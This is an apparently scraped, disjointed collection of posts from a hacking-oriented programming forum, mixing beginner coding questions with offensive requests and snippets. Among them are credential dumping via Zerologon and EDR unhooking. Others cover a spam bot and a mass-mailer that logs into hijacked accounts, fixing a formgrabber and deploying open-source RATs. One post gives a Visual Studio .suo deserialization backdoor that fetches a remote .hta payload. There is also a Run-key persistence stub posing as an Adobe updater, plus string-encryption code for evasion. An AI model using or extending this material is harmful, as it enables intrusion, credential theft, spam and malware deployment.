SECURITY/Empi...le_source/credentials/Invoke-
SharpSecDump.ps1](https://github.com/BC-
SECURITY/Empire/blob/main/empire/server/data/module_source/credentials/Invoke-
SharpSecDump.ps1)
on po idee dolzhen snimat' creds s DC probitim zerologon, no chego to y menya
ne vihodit...
mozhet est' kto im pol'zovalsya i znaet kak ego pravil'no ispol'zovat'?
Source
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)
](https://mega.nz/folder/mHojiKDQ#3Elcoz07kRO_wHNsqGSSyg)
634 files and 22 subfolders
mega.nz
Всем привет, я учу С++ уже около полтора года, но мне нет 18 что бы официально устроиться (Часто это важно) + я в другой стране, та и почти везде при устройтве требуют миниммум год комерческой разбработки.
Мне посоветовали найти какой-то стартап и присоедениться к нему.
И возникли вопросы
- Где найти подходящий?
- Какой подойдёт для новичка?
- На стартапе требуют больше?
(Так же хотелось бы послушать историю С++ разработчиков если тут такие есть, о ихнем начале, о стартапах, какие задачи дают человеку без комерческого опыта, и чем вы занимались, сложно ли было)
P.S. Visual Assist — плагин для Visual Studio.
Ищу Visual Assist X 2420 Crack, если у кого есть ссылка, буду благодарен,
Нашел кейген, но он без патчера:
https://github.com/DoubleLabyrinth/VisualAssist-keygen-demo
Нашел китайский сайт, но на нем рега по инвайту:
https://www.chinapyg.com/thread-74596-1-1.html
Скиньте пожалуйста книгу, если есть
heya guys,
i'm looking for some unhooking help for av bypass/stealth on winapi c++:
- i have checked https://github.com/jthuraisamy/SysWhispers2 but not quite
sure how to compile the asm stuff on ms buildtools cli (not using visual
studio)
- tried this "ired.team" template but didn't see any results. added the code
to an infinite loop.
[ https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a- dll-using-c++ ](https://www.ired.team/offensive-security/defense-evasion/how- to-unhook-a-dll-using-c++)
- how to unhook wininet.dll ?
- any other methods/material?
thankss
Am interested in a coding expert for a skype spam bot
1.bots search for user
2. send message to users
Hide String c#
Can you explain the idea ?
C#:Copy to clipboard
using System;
using System.IO;
using System.Text;
using System.Windows.Forms;
using Microsoft.VisualBasic;
using System.Text.RegularExpressions;
using System.Runtime.CompilerServices;
using Microsoft.VisualBasic.CompilerServices;
namespace Hide_String
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
MessageBox.Show(De(" "));
}
public string De(string H0)
{
string H = null;
int H2 = 0;
int H3 = H0.Length;
int arg_13_0 = 0;
int num = H3;
int H4 = arg_13_0;
checked
{
while (true)
{
int arg_14C_0 = H4;
int num2 = num;
if (arg_14C_0 > num2)
{
break;
}
string H5 = H0.ToString();
int H6 = Strings.Len(H5);
bool flag = H6 != 0;
if (!flag)
{
break;
}
string H7 = H0.ToString();
string E0 = " ";
Regex H8 = new Regex(E0);
MatchCollection H9 = H8.Matches(H7);
string B8 = H7.Split(new char[]
{
' '
})[Conversions.ToInteger(H9.Count.ToString())];
string B9 = H0.ToString();
string B10 = Conversions.ToString(B9.LastIndexOf(" "));
H0 = B9.Remove(Conversions.ToInteger(B10));
int B11 = H2;
while (true)
{
int arg_134_0 = B11;
num2 = 256;
if (arg_134_0 > num2)
{
break;
}
try
{
string B12 = Strings.StrDup(B11, '');
flag = (Operators.CompareString(B8, B12, false) == 0);
if (flag)
{
char B13 = '\0';
B13 = Strings.Chr(Strings.Asc(B13) + B11);
H += Conversions.ToString(B13);
B8 = null;
}
}
catch (Exception expr_109)
{
Console.WriteLine(expr_109);
break;
}
B11++;
}
H4++;
}
int B14 = H.Length - 2;
string B15 = null;
int B16 = B14;
while (true)
{
int arg_19B_0 = B16;
int num2 = 0;
if (arg_19B_0 < num2)
{
break;
}
try
{
string B17 = Conversions.ToString(H[B16]);
B15 += B17;
}
catch (Exception expr_17C)
{
Console.WriteLine(expr_17C);
}
B16 += -1;
}
return B15;
}
}
}
}
Доброго времени суток! Говорю сразу, я новичок в этой теме.
Может кто-то подскажет, ссылки или напрямую кодом, каким способом можно
организовать сервер на который можно будет отправлять файлы, а так же
скачивать их, или же просто получать информацию?
Заранее спасибо.
Are there any good IDE's that support winforms editing for 4.4 or newer?
Доброго времени суток.
Кто ни будь скиньте пожалуйста чекер логов. Нужно что бы чекер искал нужные
линки в логах.
Возможно здесь на форуме уже выкладывали подобное?
Вот мой пример решения - вроде все правильно, но почему то когда в доллары перевожу в Visual Studio компилятор следом подтягивает значение else что Eror... Вобщем помогите кому не лень буду благодарен! Спасибо!
Написать программу, которая переводит введенную сумму гривен в указанную валюту (пользователь может ввести $, S, s или E, e – это тоже считается правильным). Если пользователь введет не правильные данные, то сразу выдается информация об ошибке и программа останавливается. Ниже приведен рекомендуемый вид экрана во время работы программы. Введите количество гривен -> 1000 Введите валюту перевода($ или Е): S Результат: _______
C++:Copy to clipboard
#include <iostream>
using namespace std;
int main() // Exercise 1
{
const double USD = 26.5, EURO = 30;
double GRN;
char valuta = ' ';
double sum_USD;
double sum_EURO;
cout << "Enter the number of grivna -> ";
cin >> GRN;
cout << "Entrer your currency of the transfer ($, S, s or E, e) -> ";
cin >> valuta;
if (valuta == '$' || valuta == 'S' || valuta == 's')
{
sum_USD = GRN / USD;
cout << "Your result: " << sum_USD;
}
if (valuta == 'E' || valuta == 'e')
{
sum_EURO = GRN / EURO;
cout << "Your result: " << sum_EURO;
}
else
{
cout << "Eror! You entered incorrect data!";
}
return 0;
}
Хотелось бы узнать как это сделать...
Хай.
Подскажите товарищи кодеры, собираю простенькую исполняемую dll, с функцией
выполнения команды в cmd получения результата и его обработки,
проблема заключается в том, что после выполнения резальтат возращается
иероглифами, то есть проблема с кодировкой.
запускаю dll так: rundll32 myproject.dll,main
Но если я тот же код собираю для exe, то все четко работает.
Плиз расжуйте мне в чем проблема.
Для наглядности
Code:Copy to clipboard
#define EXPORT extern "C" __declspec(dllexport)
EXPORT void main(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
exec("ipconfig > C:\\1.txt");
exec("chcp 65001 & ipconfig > C:\\65001.txt");
exec("chcp 1251 & ipconfig > C:\\1251.txt");
exec("chcp 866 & ipconfig > C:\\866.txt");
exec("chcp 1250 & ipconfig > C:\\1250.txt");
exec("chcp 1252 & ipconfig > C:\\1252.txt");
std::string g = exec("ipconfig"); // тоже но-ворк(
}
std::string exec(const char* cmd) {
//system("chcp 65001 > nul");
char buffer[128];
std::string result = "";
FILE* pipe = _popen(cmd, "r");
if (!pipe) throw std::runtime_error("popen() failed!");
try {
while (fgets(buffer, sizeof buffer, pipe) != NULL) {
result += buffer;
}
}
catch (...) {
_pclose(pipe);
throw;
}
_pclose(pipe);
return result;
}
Is there a tool to convert fb uid to mobile number?
I need to convert US fb uid. into a mobile phone number, or India, South Korea, etc.
If you have this tool, or a tool to collect fb uid, you can contact me and I
will give you a reward.
tg @msk12888
Как переименовать секцию у PE? На С#
Dear forum members,
I'm looking for recommendations on a good intermediate level C++ book.
I've read many that I liked (e.g. The C++ Complete Reference by Kyle Loudon)
but I'd like something a little bit more advanced.
What are your go-to books/references to sharpen your C++ skills?
Thanks,
Всем здравствуйте, решил сделать авторизацию пользователя discord в своём
приложении discord, но не нашел никаких репозиториев для реализации этого на
плюсах.
Почитал док discord https://discord.com/developers/docs/topics/oauth2
(noad), но не понял даже последовательности действий.
Может кто поделиться своей tiny-реализацией шифрования RSA на C/C++? Отблагодарю копеечкой
C#:Copy to clipboard
public static void USBSearcher()
{
Console.Write("Add Path: ");
string PATH = Console.ReadLine();
while (true)
{
Thread.Sleep(2000);
foreach (var dInfo in DriveInfo.GetDrives())
{
if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
{
Console.WriteLine(dInfo);
string USBPath = dInfo.ToString();
try
{
string outFile = Path.Combine(dInfo.RootDirectory.ToString(), PATH);
File.Move(PATH, outFile);
Console.WriteLine("Yes");
}
catch
{
Console.WriteLine("No");
}
}
else
{
Console.WriteLine("No");
continue;
}
}
}
}
Ребятки такая проблемка есть файлик текстовик в нем шеллкод вес у данного
файла ( 180кб ) в ручную считать колличество байтов очень муторно при таких
колличествах байтов подскажите как проще посчитать общее колличество байтов в
данном текстовике пробывал прописал значение исходя из размера файла
180 кб = 184320 байт вписываю это число не помогает пишет неверное значение
пробелов в файле нету
прописано вот так ( 0x5c,0x78,...............)
Излагаю всю суть, я не ищу людей которые хотят сделать что-то за деньги.
Но если вам интересно написать пару плагинов от помощи не отказался бы.
Сам проект - https://github.com/qwqdanchun/DcRat
Пример плагина -
https://github.com/qwqdanchun/DcRat/tree/main/Plugin/Discord
Отправка с помощью msg pack
Если тронуло отпишите в ПМ или мой телеграм - ZL3FH9
Здравствуйте, ищу разработчика, не обходимо автоматизировать email рассылки через пост и гет (ни каких smtp и упрощенных версии) приветствуется только польная версия и на запросах, будем автоматизировать такие сервисы как mail.ru yandex.ru rambler.ru gmail.com aol.com gmx.com и других. На ринке уже существуют готовые решия по 50-150$ но не на всех есть то что мне надо, поэтому хочу разработать свои рассыльщики и может и куплю исходник. Оплата только через гарант этого форума!
Spoiler: ТЗ
У нас есть аккаунты в формате логин:пароль:доп.почта, запускаем например на 10 потоков и софт берет первый 10 строк и начнет авторизоваться, если проходим авторизацию то аккаунт запишем в файл где будут все аккаунты которые прошли авторизацию и дале работаем с ним.
**ПО НАСТРОЙАМ!
-Выбираем путь к проксями** (на выбор) то есть будет галочка, используем проси или нет, в случае не коннекта дождемся секунд 10 например и пробуем еще раз потому что прокси будут меняться раз в 2-3 минуты.
-Выбираем путь к файлу с акантами и настройки для аккаунта такие как сколько всего с одного аккаунта отправит, сколько за раз отправить (в поле кому) и пауза между отправками от и до в секундах. И получается что если я выбираю 150 с аккаунта и за раз 10 получателей указать то мы получается 15 раз создаем новый письмо.
-Выбираем путь к файлу с базы , если указать что за раз отправим на 15 получателей то берем первый 15 строк и в поле кому вставим, если по каким то причинам не уходят то запишем их в конца списка и попытаемся еще раз, всегда при не удачной отправки вернем базы обратно в файл откуда взяли и сформируем еще раз письмо.
-Использовать темы если стоит галочка то путь к файлу и каждый раз берем новый строки и так во кругу, если нет галочки то темы пропускаем и отправим без них.
-Письмо будем использовать тексты такие как спитакс в виде {Здравствуйте|Приветствую|Добрый день} тут скорее всего придется указать путь к папку и в папке будут много файлов в файлах будут тексты спиетаксами, при сформирование письмо берем случайны файл и сформируем письмо.
-HTML хотелось бы конечно чтобы было возможность отправлять html письмо, если все таки сделаем это то нужно будет сделать в настройки выбор, отправлять текстовый письмо или html, в случае html то указываем путь к папку с html файлами и случайно берем и примеряем.
-Ссылки выбираем путь к файлу и ссылки в письмо применяются только в том случае если письмо содержит слову LINK, это будет наш макрос, если сформировали письмо например " привет как дела? LINK и вот тут вместо линк поставим ссылку из файла.
-Использовать вложения тут надо будет сделать тоже галочка, если стоит галочка то указываем путь к папку где находится PDF файлы, если данная функция включена то по одной PDF случайно из папки выбираем и отправляем.
ОТПРАВКА
Нажимаем Новое сообщение, в поле кому из файла базы берем количества получателей которой указан в настройки, тема если используем, текст (письмо) какой выбрать и файл если тоже включили отправку файлов.
Перед отправкой хотелось бы еще на выборе включит такой функцию как заменит Имя отправителя, имя меняется в настройки
ну и по работе с аккаунтами, удаляем из списка аккы которой не авторизовались и когда в списке либо аккаунты либо базы когда заканчиваются останавливаем рассылщик, все ресурсы будут работать вокругу только с аккаунты и базы с удалением, вроде все)
Мне нужно реализовать поиск по бд. Допустим, у меня есть одно значение, и по нему должна проходить фильтрация в бд, может быть несколько полей, в которых будет такое значение, надо будет вывести все поля. Но также может быть вариант, что будет заполнено несколько полей или все, и тоже надо будет сделать фильтрацию и вывести все поля с этими значениями. Как можно это сделать?
вот фото, где один параметр известен
все параметры известны
некоторые параметры известны
и вот пример самой базы
ВСЕ ДАННЫЕ БУДУТ ВВОДИТЬСЯ С КЛАВИАТУРЫ. ПЕРЕМЕННЫЕ СЛУЖАТ ДЛЯ ТОГО, ЧТОБЫ
БЫЛО ЛЕГЧЕ РАЗОБРАТЬ КОД.
莱德
Приветствую знатоков, скажу что я не силен в программировании и возможно для
некоторых это покажется абсурдом но у меня возник вопрос.
К примеру есть проект назовем его "PRHELLO" и в проекте дохуища файлов .cs и в
одном из них есть строка переменная wordPrint с значением "PUT YOUR TEXT" при
компиляции программы и запуске выдает именно тот текст
который был в строке, задача которую я хочу сделать это в c# набросить простой
билдер и форму строки где я введу любой текст и этот текст будет заменен в
проекте PRHELLO ну что-то вроде билдера, вопрос ультиматум в этой ветке я хочу
задать это "как создать билдер" проблема в том что я не ебу как проект PRHELLO
с дохуищими .cs файлами заменить одну строку введенную в билдере за тем его
скомпилировать весь в один файл.
Если вы посчитате абсурдом, то пожалуйста дайте некий-совет в начинании.
Thanks for watching.
Recently I saw an interesting article and POC on github about backdooring visual studios projets. (https://github.com/cjm00n/EvilSln)
I liked it because there is no build events or other classical techniques that
can be spotted by reading .sln
I will not re explain all the details of the vulns here, feel free to read the
article.
I and a friend analized the POC and the package's code and figured out that
BinaryFormatter is beeing used and TypeConfuseDelegate as gadget.
We are able to take the stream from the .suo's VsToolboxService, keeping
existing buggy bytes headers and replace the serialized object by ours and it
executes but only if the size of the payload is exactly the same as the
original one.
for exemple "cmd /c calc" is the command wrapped in original payload,
"taskmgr.exe" is also 11 and works too but taskmgr alone doesnt work. We tried
a lot of payloads and te only way to RCE we found in 11 chars is :
HH \\qw.p\x
qw.p beeing a public smbshare and x beeing a valid .hta file containing longer
payload.
The issue with this technique is that 3 chars longs domains are expensive, so
I though about https://handshake.org/ that make possible to buy a xx.p
domain for 33$.
So my two first question is :
Is handshake domains compatible with HH winows command to resolve the smb address ?
There is still a hudge issue with this first technique, the deserialisation allows to bypass MOTW, so invoking a remote payload with HH will make me lose this advantage. It is bad
I try harded to understand the size limitation issue, I think I dont understand something with the stream's headers maby. This is my main problem / question, can someone help me to understand this length limitation ?
I am also working on a way to pack the .hta without extension somewhere in the project directories an invoke it in 11 chars but I don't like the idea of having the payload somewhere else that the .suo itself.
Contact me in private if you want to use matrix or xmpp to talk faster.
I totally unserstand that some people will have the solution but will fix it
and keep it private. In this case rep+ for the idea and reproductions
instructions
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace Hui
{
class Program
{
static void Main(string[] args)
{
string path = Console.ReadLine();
string content = File.ReadAllText(path);
string[] baze = content.Split(':', ';', ' ');
long index = 0;
bool hasSerached = false;
bool hasSerachedd = false;
string search = Console.ReadLine(); //Имя, номер или фамилия человека, которого вы хотите найти.
}
}
}
Помогите сделать такой класс, в котором будут имя, фамилия, номер. И чтобы по этому классу прогонялась бд(тхт файл)(переменная search). И если мы ввели имя, и оно есть в базе, то нам выводится фамилия и номер, если номер, то фамилия и имя, и тд. Также, чтобы, если было совпадение по имени, или фамилии, выводились все нужные данные, а не только по одному человеку.
Добрый день, возник вопрос, у меня есть 2 монитора, а следственно 2 дисплея, а
следственно 2 hmonitor ,как я понимаю
Я пробовал ставить второй hmonitor на место первого присваивая ему координаты
0,0
Пробовал запускать createprocess с флагорм 0х400 и ставить ему второй hmonitor
для si.hStdOutput
Пробовал запускать createprocess по х у
Пробовал shellexecute
Но никак не могу запуститить например тот же нотпад на втором экране
Вопрос, почему оно не работает?
Почему допустим если возьмем createprocess и поставим флаг запуска на другом
desktop то оно сработает, а запуск на втором мониторе нет??
Возможно ли как то присвоить второму монитору статус примари что ли, чтобы
теперь все приложения думали что это главный экран , и там запускались
Есть формграббер написанный на СИ, в связи с выходом обновления хром перестал
корректно работать.
Нужно исправить код, все исходники есть.
ПМ
Есть ратник на java https://github.com/thisisnzed/Pandora
Собрать и запустить у меня получилось, но проблема с агентом, нет соединения с
сервером. Автор темы написал, что нужно иметь сервер обновления, чтобы агент
проверялся на обновления и после будет коннектится. Может кто-то пояснить как
это реализовать, в Java нет опыта.
[Solved] Here is the code
C#:Copy to clipboard
using System;
using System.Security.Principal;
using System.IO;
using System.Net;
using System.Diagnostics;
using Microsoft.Win32;
namespace AdobeUpdater
{
class AdobeUpdater
{
static void Main(string[] args)
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
key.SetValue("C:\\Users\\Public\\System32\\a.txt", System.Windows.Forms.Application.ExecutablePath);
}
}
}
Всем добрый день.
Как можно добавить данную куку в куки tokens: [{"Type":2"token":"value"}]
Не пойму как это сделать через Cokie.Set()
В общем методом v`тыка удалось мне добиться того, что бы данный код находил
длину инструкции по заданному адресу
Собсна сам вопрос - можно ли dbgeng заставть делать то же самое, только не
аттача дебаг к своему процессу и не начиная сессию отладки ?
Spoiler: Код
C++:Copy to clipboard
HRESULT a = DebugCreate(__uuidof(IDebugClient), (void**)&clt);
a = clt->AttachProcess(NULL, GetProcessId(GetCurrentProcess()), DEBUG_ATTACH_NONINVASIVE | DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND);
a = clt->QueryInterface(__uuidof(IDebugControl), (void**)&ctrl);
a = ctrl->WaitForEvent(DEBUG_WAIT_DEFAULT, -1);
ULONG64 newOffset = 0;
ULONG64 addr = (ULONG64)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtClose");
a = ctrl->GetNearInstruction(addr, 1, &newOffset);
int instr_len = newOffset - addr;
В общем, пытаюсь сделать подгрузку функций по хешу в сишке. Додумался в итоге
до функций с переменными параметрами. Для аргументов решил воспользоваться
макросом _Generic
, но в итоге получается ошибка:
И не могу додуматься как её пофиксить. Или может есть варианты с определением
и пушем типов в функцию получше? Не очень бы хотелось рыться с асмом, на самом
деле.. но в принципе и с ним побороться готов.
Код прилагаю. Ах, да, строка с ошибкой помечена комментарием "err"...
Spoiler: code
C:Copy to clipboard
#include <Windows.h>
#include <libloaderapi.h>
#include <stdarg.h>
#include "crypto.h"
#include "libloader.h"
#pragma region generictypename
// Список типов (специфичные определения также присутствуют), пополняется по мере необходимости.
enum _typename {
TYPENAME_BOOL,
TYPENAME_CHAR,
TYPENAME_BYTE,
TYPENAME_WCHAR,
TYPENAME_WORD,
TYPENAME_DWORD,
TYPENAME_LPWSTR,
TYPENAME_LPDWORD,
TYPENAME_LPBYTE,
TYPENAME_PDWORD,
TYPENAME_LPSTR,
TYPENAME_LPCSTR,
TYPENAME_UINT,
KEY_HKEY,
KEY_REGSAM,
KEY_PHKEY
};
#define __typename(x) _Generic((x), \
BOOL: TYPENAME_BOOL, \
CHAR: TYPENAME_CHAR, \
BYTE: TYPENAME_BYTE, \
WCHAR: TYPENAME_WCHAR, \
WORD: TYPENAME_WORD, \
DWORD: TYPENAME_DWORD, \
LPWSTR: TYPENAME_LPWSTR, \
LPDWORD: TYPENAME_LPDWORD, \
LPBYTE: TYPENAME_LPBYTE, \
PDWORD: TYPENAME_PDWORD, \
LPSTR: TYPENAME_LPSTR, \
LPCSTR: TYPENAME_LPCSTR, \
UINT: TYPENAME_UINT, \
HKEY: KEY_HKEY, \
REGSAM: KEY_REGSAM, \
PHKEY: KEY_PHKEY \
)
#pragma endregion
/* Прототип, но жалко удалять
inline LPVOID noArg(HMODULE hModule, DWORD hash) {
typedef LPVOID(WINAPI* newfnc)();
newfnc fnc = (newfnc)GetProcAddress(hModule, hash);
return fnc();
}
*/
inline LPVOID fncCall(HMODULE hModule, DWORD hash, unsigned int argNum, ...) {
va_list args;
unsigned int control = 0;
va_start(args, argNum);
while(argNum--) {
control += va_arg(args, __typename(argNum)); // err
if(control >= argNum) {
// ...
typedef LPVOID(WINAPI* fncCall)();
// ...
} else {
DWORD dwErr = GetLastError();
return dwErr;
}
}
}
i have source code and need make some change in code. Contact with me via Telegram to have more detail and I will pay for this task.
I'm sure it's not too difficult.
telegram: https://t.me/waka1116
Ребят , подскажите статью или ещё что где с wp быстро поднимают админку под
мобильное приложение .
Раньше использовал strapi но хочется что-то ещё более быстрое (в плане
развертывания а не производительности .) и желательно чтоб на любой г*вно
хостинг ставилась .
ps: нужно не для тёмных дел а чтоб на поток поставить можно было , с
минимальными затратами (времени , денег , нервов и прочего)
Доброго времени суток! Кто-то может привести пример как выглядит код стаба
через invoke C#.
Я новичок в этом, буду благодарен за помощь.
Spoiler: source
C++:Copy to clipboard
#include <stdio.h>
#include <stdint.h>
__declspec(noinline) void exampleRandom1();
__declspec(noinline) void exampleRandom2();
__declspec(noinline) void exampleHashing();
__declspec(noinline) void exampleEncryption();
#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000)
template <uint32_t Const> struct vxCplConstantify { enum { Value = Const }; };
constexpr uint32_t vxCplRandom(uint32_t Id)
{
return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF;
}
#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1)))
#define vxRAND() (vxCplConstantify<vxCplRandom(__COUNTER__ + 1)>::Value)
constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); }
constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); }
constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) { return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23)); }
constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); }
constexpr uint32_t vxCplHash(const char* Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); }
#define vxHASH(Str) (uint32_t)(vxCplConstantify<vxCplHash(Str)>::Value ^ vxCplConstantify<vxCplRandom(1)>::Value)
template <uint32_t...> struct vxCplIndexList {};
template <typename IndexList, uint32_t Right> struct vxCplAppend;
template <uint32_t... Left, uint32_t Right> struct vxCplAppend<vxCplIndexList<Left...>, Right> { typedef vxCplIndexList<Left..., Right> Result; };
template <uint32_t N> struct vxCplIndexes { typedef typename vxCplAppend<typename vxCplIndexes<N - 1>::Result, N - 1>::Result Result; };
template <> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; };
const char vxCplEncryptCharKey = vxRANDOM(0, 0xFF);
constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); }
template <typename IndexList> struct vxCplEncryptedString;
template <uint32_t... Idx> struct vxCplEncryptedString<vxCplIndexList<Idx...> >
{
char Value[sizeof...(Idx) + 1];
constexpr inline vxCplEncryptedString(const char* const Str): Value { vxCplEncryptChar(Str[Idx], Idx)... }
{
}
char* decrypt()
{
for (uint32_t t = 0; t < sizeof...(Idx); t++)
{
this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t);
}
this->Value[sizeof...(Idx)] = '\0'; return this->Value;
}
};
#define vxENCRYPT(Str) (vxCplEncryptedString<vxCplIndexes<sizeof(Str) - 1>::Result>(Str).decrypt())
void exampleRandom1()
{
switch (vxRANDOM(1, 4))
{
case 1: { printf("exampleRandom1: Code path 1!\n"); break; }
case 2: { printf("exampleRandom1: Code path 2!\n"); break; }
case 3: { printf("exampleRandom1: Code path 3!\n"); break; }
case 4: { printf("exampleRandom1: Code path 4!\n"); break; }
default: { printf("Fucking poltergeist!\n"); }
}
}
void exampleRandom2()
{
volatile uint32_t RndVal = vxRANDOM(0, 100);
if (vxRAND() % 2) { RndVal += vxRANDOM(0, 100); }
else { RndVal -= vxRANDOM(0, 200); }
printf("exampleRandom2: %d\n", RndVal);
}
void exampleHashing()
{
printf("exampleHashing: 0x%08X\n", vxHASH("hello world!"));
printf("exampleHashing: 0x%08X\n", vxHASH("HELLO WORLD!"));
}
void exampleEncryption()
{
printf("exampleEncryption: %s\n", vxENCRYPT("Hello world!"));
}
int main()
{
exampleRandom1();
exampleRandom2();
exampleHashing();
exampleEncryption();
}
Spoiler: result
Code:Copy to clipboard
exampleRandom1: Code path 2!
exampleRandom2: 145
exampleHashing: 0x2D13947A
exampleHashing: 0x2D13947A
exampleEncryption: Hello world!
Spoiler: disassm
Code:Copy to clipboard
exampleRandom1 proc near
var_18= dword ptr -18h
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+18h+var_18], offset aExamplerandom1 ; "exampleRandom1: Code path 2!"
call puts
leave
retn
exampleRandom1 endp
exampleRandom2 proc near
var_28= dword ptr -28h
var_24= dword ptr -24h
var_C= dword ptr -0Ch
push ebp
mov ebp, esp
sub esp, 28h
mov [ebp+var_C], 78
mov eax, [ebp+var_C]
mov [esp+28h+var_28], offset aExamplerandom2 ; "exampleRandom2: %d\n"
add eax, 67
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov [esp+28h+var_24], eax
call printf
leave
retn
exampleRandom2 endp
exampleHashing proc near
var_18= dword ptr -18h
var_14= dword ptr -14h
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+18h+var_14], 2D13947Ah
mov [esp+18h+var_18], offset aExamplehashing ; "exampleHashing: 0x%08X\n"
call printf
mov [esp+18h+var_14], 2D13947Ah
mov [esp+18h+var_18], offset aExamplehashing ; "exampleHashing: 0x%08X\n"
call printf
leave
retn
exampleHashing endp
exampleEncryption proc near
var_28= dword ptr -28h
var_24= dword ptr -24h
var_15= byte ptr -15h
var_14= byte ptr -14h
var_13= byte ptr -13h
var_12= byte ptr -12h
var_11= byte ptr -11h
var_10= byte ptr -10h
var_F= byte ptr -0Fh
var_E= byte ptr -0Eh
var_D= byte ptr -0Dh
var_C= byte ptr -0Ch
var_B= byte ptr -0Bh
var_A= byte ptr -0Ah
var_9= byte ptr -9
push ebp
xor eax, eax
mov ebp, esp
mov ecx, 0Dh
push edi
lea edi, [ebp+var_15]
sub esp, 24h
rep stosb
xor eax, eax
mov [ebp+var_15], 4Ah
mov [ebp+var_14], 66h
mov [ebp+var_13], 68h
mov [ebp+var_12], 69h
mov [ebp+var_11], 69h
mov [ebp+var_10], 27h
mov [ebp+var_F], 7Fh
mov [ebp+var_E], 66h
mov [ebp+var_D], 78h
mov [ebp+var_C], 67h
mov [ebp+var_B], 68h
mov [ebp+var_A], 2Ch
loc_401045:
lea ecx, [eax+2]
xor [ebp+eax+var_15], cl
inc eax
cmp eax, 0Ch
lea edx, [ebp+var_15]
jnz short loc_401045
mov [esp+28h+var_24], edx
mov [esp+28h+var_28], offset aExampleencrypt ; "exampleEncryption: %s\n"
mov [ebp+var_9], 0
call printf
add esp, 24h
pop edi
pop ebp
retn
exampleEncryption endp
в аттаче проЖект под vs2022
Связь в пм
добрый вечер, хотел я по быстрому написать антискринграб но вот не получилось
так как окно(winver.exe) не даёт поменять конкретные параметры окна из
юзермода. Пробовал через установку флага WDA_EXCLUDEFROMCAPTURE и
WS_EX_LAYERED но к сожалению безрезультатно.
Был бы рад получить пару идей как можно реализовать антискрин из юзермода для
окна winver.exe.
Заранее всем спасибо
Form1
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
namespace sosa
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void button2_Click(object sender, EventArgs e)
{
string path = null;
var dialog = new OpenFileDialog();
if (dialog.ShowDialog() == DialogResult.OK)
{
path = dialog.FileName;
}
textBox4.Text = path;
MessageBox.Show(path);
}
public void button1_Click(object sender, EventArgs e)
{
string FalderPath = null;
FolderBrowserDialog fld = new FolderBrowserDialog();
if (fld.ShowDialog() == DialogResult.OK)
{
FalderPath = fld.SelectedPath;
}
textBox3.Text = FalderPath;
MessageBox.Show(FalderPath);
}
private void button3_Click(object sender, EventArgs e)
{
Form2 form2 = new Form2();
Hide();
form2.Show();
}
private void button4_Click(object sender, EventArgs e)
{
Form2 form2 = new Form2();
string path = textBox4.Text;
string llarrayOfMail = System.IO.File.ReadAllText(path);
string separator = null;
if (textBox1.Text == ", (comma)")
{
separator = ",";
}
else if(textBox1.Text == "; (semicolon)")
{
separator = ";";
}
else if(textBox1.Text == ": (colon)")
{
separator = ":";
}
else if(textBox1.Text == "space")
{
separator = " ";
}
else if (textBox1.Text == "enter")
{
separator = "\n";
}
else
{
separator = textBox1.Text;
}
char sep = Convert.ToChar(separator);
string[] arrayOfMail = llarrayOfMail.Split(sep);
string separator2 = textBox3.Text;
using (StreamWriter sw = new StreamWriter(path, false, System.Text.Encoding.Default))
{
foreach(var el in arrayOfMail)
{
sw.WriteLine(el + separator2);
}
}
FileInfo fileInf = new FileInfo(path);
fileInf.CopyTo(textBox3.Text + "[eq.txt", true);
}
public void label4_Click(object sender, EventArgs e)
{
}
public void textBox1_TextChanged(object sender, EventArgs e)
{
string txt = textBox1.Text;
}
public void textBox2_TextChanged(object sender, EventArgs e)
{
string txt1 = textBox2.Text;
}
public void textBox3_TextChanged(object sender, EventArgs e)
{
string txt2 = textBox3.Text;
}
public void textBox4_TextChanged(object sender, EventArgs e)
{
}
}
}
Form2
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace sosa
{
public partial class Form2 : Form
{
public Form2()
{
InitializeComponent();
}
public void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
string textComboBox1 = comboBox1.Text;
MessageBox.Show(textComboBox1);
}
